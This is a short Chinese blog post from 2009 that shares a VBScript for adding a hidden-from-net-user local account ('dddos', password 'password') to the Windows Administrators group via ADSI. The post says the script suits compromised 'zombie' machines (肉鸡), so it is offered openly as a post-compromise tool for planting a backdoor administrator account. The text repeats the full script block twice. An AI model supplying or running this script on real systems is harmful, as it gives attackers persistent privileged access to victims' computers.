不依赖于net user添加账户的命令
[
2009/08/27 12:41 | by admin ]
2009/08/27 12:41 | by admin ]
其实很早以前这段代码就已经公布出来了，但最近有人问到，就在这里再发一下吧~
只需要将以下代码保存为vbs文件即可。(依赖于系统中的wscript.exe和cscript.exe，一般的肉鸡都满足咯)
注：用红色标注的为可自行更改的部分，其中dddos为用户名信息,password为密码信息。
set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os)
Set oe=GetObject(os&"/Administrators,group")
Set od=ob.Create("user","dddos")
od.SetPassword "password"
od.SetInfo
Set of=GetObject(os&"/dddos",user)
oe.add os&"/dddos"
只需要将以下代码保存为vbs文件即可。(依赖于系统中的wscript.exe和cscript.exe，一般的肉鸡都满足咯)
注：用红色标注的为可自行更改的部分，其中dddos为用户名信息,password为密码信息。
set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os)
Set oe=GetObject(os&"/Administrators,group")
Set od=ob.Create("user","dddos")
od.SetPassword "password"
od.SetInfo
Set of=GetObject(os&"/dddos",user)
oe.add os&"/dddos"
